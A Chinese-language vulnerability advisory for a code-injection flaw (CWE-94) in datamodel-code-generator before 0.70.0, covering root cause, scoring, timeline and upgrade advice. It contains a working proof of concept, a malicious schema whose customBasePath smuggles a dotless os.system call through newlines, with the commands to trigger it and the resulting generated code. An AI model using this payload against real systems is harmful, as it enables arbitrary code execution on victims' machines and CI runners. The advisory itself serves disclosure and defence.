严重性: 高危,CVSS 3.1 7.5 / CVSS 4.0 7.5(由 CNA VulnCheck 分配)
环境上限(网络服务部署): 最高 9.8
向量(v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
向量(v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
受影响版本: datamodel-code-generator < 0.70.0
修复版本: 0.70.0
CWE: CWE-94(对代码生成的控件不当,'代码注入')
报告者: Rahul Karne
CNA: VulnCheck
发布时间: 2026 年 7 月 26 日
datamodel-code-generator 对所有可能携带代码注入载荷的 schema 控制导入字符串均进行了验证,唯独漏掉了一个。
该工具将输入 schema(JSON Schema、OpenAPI、YAML)转换为 Python 模型源码。多个 schema 字段会被直接渲染到生成的代码中,因此项目在将其用作点分隔的 Python 标识符之前会进行验证,目的正是防止注入。schema 扩展字段 customBasePath 是唯一跳过此检查的同级字段。其值未经净化便流入生成输出中的 from ... import ... 语句。攻击者若能控制输入 schema,便可利用换行符和无点表达式嵌入任意 Python 代码,且该代码会在生成模块被导入的那一刻执行——而这正是生成模型之后通常的下一步操作。
这是对 CVE-2026-55415(GHSA-5578-w22f-pfx9)的不完整修复,该漏洞曾对同级字段 customTypePath 和 x-python-import 针对此类问题进行了加固。该修复未覆盖 customBasePath,后者通过相同的汇点(sink)未经验证即可到达,且在 0.68.1 及 main 分支中一直可利用,直至 0.70.0 才修复。
在导入或运行生成模型的进程中执行任意 Python 代码:可能是开发者的机器、CI 运行器,或任何生成并随后加载模型的服务。主机的机密性、完整性和可用性完全受损,仅受该进程的权限限制。
严重性完全取决于代码生成在何处对不可信输入运行:
受影响人群: 任何使用 datamodel-code-generator < 0.70.0 且满足以下条件的场景:(1) 从 customBasePath 值受攻击者影响的 schema 生成模型,且 (2) 导入或执行生成的模块。默认的"先生成后导入"工作流天然满足条件 (2)。
不受影响的人群:
0.70.0 或更高版本的用户,该版本中 customBasePath 已得到验证。| 指标 | 数值 | 来源 |
|---|---|---|
| 历史总下载量 | 1.94 亿 | pepy.tech/projects/datamodel-code-generator |
customBasePath schema 字段的值在没有任何标识符约束的情况下被带入生成的代码。代码库中有三个关键点(路径相对于 src/datamodel_code_generator/):
parser/jsonschema.py 定义了字段 custom_base_path,其 alias="customBasePath"(约第 644 行),通过 _resolve_base_class(...) 在多个调用点消费。parser/base.py 中的 _resolve_base_class(约第 1665 行)仅经过本地 normalize()(去重/去除空白)后即返回值。未应用任何标识符验证。imports.py 中的 Import.from_full_path()(约第 35 行)将该值原样输出为 from ... import ... 行。该值还在 model/base.py 的 set_base_class(约第 1324 行)中用作类基类,并由模型模板(class {{ class_name }}({{ base_class }}):)原始渲染。由于该值在没有任何约束的情况下被写入 Python 源码,嵌入的换行符和无点表达式会作为各自独立可解析的行存活于输出中,中间那一行会在导入时执行。
该载荷必须是无点的。Import.from_full_path 会按 . 拆分该值,因此普通的 os.system(...) 调用会被拆散。使用 getattr(__import__('os'),'system')(...) 可以在避免任何 . 的同时解析到相同的调用,且周围的换行符使输出的 from ... import ... 行在语法上保持有效,从而让注入的中间行能够顺利执行。
这并非一个忽视注入问题的项目。维护者曾多次针对此类问题进行了加固,横跨多个公告(GHSA-5578、m34r、8m8r、wjv6),每次都让 schema 控制的导入或类型字符串在到达代码生成之前经过 _validate_dotted_python_identifier_path。同级字段 customTypePath(在 parser/jsonschema.py 约第 4956、5202 行验证)和 x-python-import(约第 2096 行)都经过了该验证器。
customBasePath 是唯一一个没有此类调用的同级字段。它通过一条不同的路径(_resolve_base_class)到达同一个 Import.from_full_path 汇点,而该路径从未接入其他字段所接受的验证机制。该缺陷之所以能存活,恰恰是因为周围的防御看起来是完整的:扫描未验证导入字符串的审查者会在他们首先检查的字段上看到验证器,而此字段则是通过一个看起来像基类解析而非导入处理的辅助函数路由。这是系统性修复中的一个缺口,而非完全缺失,这就是为什么它会一直存在到最新版本。
攻击者需要:
< 0.70.0 的目标。customBasePath 值,实际上就是提供或影响输入 schema(第三方 OpenAPI/JSON Schema 文档,或提交给服务的 schema)。攻击者不需要任何认证或提升权限(PR:N)。基础评分反映的是受害者执行了常规的生成并导入操作(v3.1 中 UI:R / v4.0 中 UI:A);网络服务部署甚至消除了这一条件,这正是环境评分 9.8 的来源。
以下内容是针对真实且未修改的软件包运行的。复现步骤:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
攻击者输入(attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
在易受攻击版本(0.68.1)上生成的 generated_models.py:
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
攻击者的调用被原样输出到生成的源码中。
导入时: 命令得以执行。在已验证的运行中,注入的标记打印到标准输出,并且创建了包含当前用户(root)的 RCE_PROOF.txt,确认了通过常规的生成并导入工作流可实现任意命令执行。
在已修补版本(0.70.0)上: 相同的 schema 在生成任何代码之前即被拒绝:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
不会产生任何文件。拒绝消息直接指出了修复内容:该值现在必须是一个点分隔的 Python 标识符路径。
网络服务变体。 一个接受 POST 提交的 schema、生成模型并导入它们的未认证回环 HTTP 服务,被演示为可通过单个未认证的 curl 在服务器上执行攻击者的命令,且无需任何用户交互。这正是环境评分 9.8 背后的部署形态。该服务和攻击文件包含在 PoC 仓库中。
升级到 datamodel-code-generator 0.70.0 或更高版本:
pip install --upgrade "datamodel-code-generator>=0.70.0"
0.70.0 将 customBasePath 路由到与已应用于 customTypePath 和 x-python-import 相同的点分隔标识符验证,因此不是有效标识符路径的值会在代码生成之前被拒绝。
如果无法立即升级: 不要从你无法完全控制的 schema 生成模型,也不要导入或执行从不可信 schema 生成的模块。受影响版本中没有配置标志可以添加缺失的验证;升级是可靠的修复方式。
给复用生成器内部组件的项目的提示。 该缺陷是通往 Import.from_full_path 的某条代码路径上缺少验证调用,而非汇点本身的缺陷。任何将 schema 控制的字符串渲染到生成代码中的下游项目,都应将每个此类字段验证为点分隔标识符,而不仅仅是那些经过明显导入处理路径的字段。
VulnCheck(CNA)分配了 7.5(高危),与维护者用于父级公告 CVE-2026-55415 的基础向量一致,因为这是相同的注入类别、相同的 Import.from_full_path 汇点,以及相同的影响。
AV:N:schema 通常通过网络获取(获取的或第三方 OpenAPI / JSON Schema 文档)。AC:H:利用取决于受害者从恶意 schema 生成模型,然后导入或运行生成的代码。PR:N / UI:R(v3.1):攻击者无需任何权限;由受害者执行常规的代码生成并导入工作流。C:H / I:H / A:H:在主机上实现完全的任意代码执行。环境上限为 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H),专门适用于网络服务部署,即生成器暴露于不可信 schema 且无需受害者交互的场景。该数值是针对该部署的环境说明,而非分配的基础评分。同时说明两者并明确区分,才是诚实的表述:基础评分为 7.5,仅在暴露服务场景下达到 9.8。
| 日期 | 事件 |
|---|---|
| 2026 年 7 月 13 日 | 发现漏洞 |
由 Rahul Karne 发现并报告,他是安全研究员兼 IEEE 高级会员。其研究专注于高依赖度开源软件包中的注入和输入处理缺陷,包括 CVE-2026-65321(PyAthena 中的 SQL 注入)以及围绕此发现所做的父类加固工作。
联系方式:[email protected] · GitHub:rahulreddykarne
545a96c5:https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5媒体垂询:[email protected]。完整的 PoC(攻击者 schema、网络服务演示)及其他技术细节可按需提供。
| 最近 30 天下载量 |
| 1630 万 |
| pepy.tech |
| 典型部署 | 开发者机器、CI/CD 流水线,以及从 OpenAPI / JSON Schema 生成代码的 SDK 生成平台 | 工具自身功能所固有 |
| 2026 年 7 月 14 日 | 报告(协调披露) |
| 2026 年 7 月 21 日 | 提交修复(545a96c5) |
| 2026 年 7 月 24 日 | 发布已修补版本 0.70.0 |
| 2026 年 7 月 26 日 | VulnCheck 发布 CVE-2026-63720 |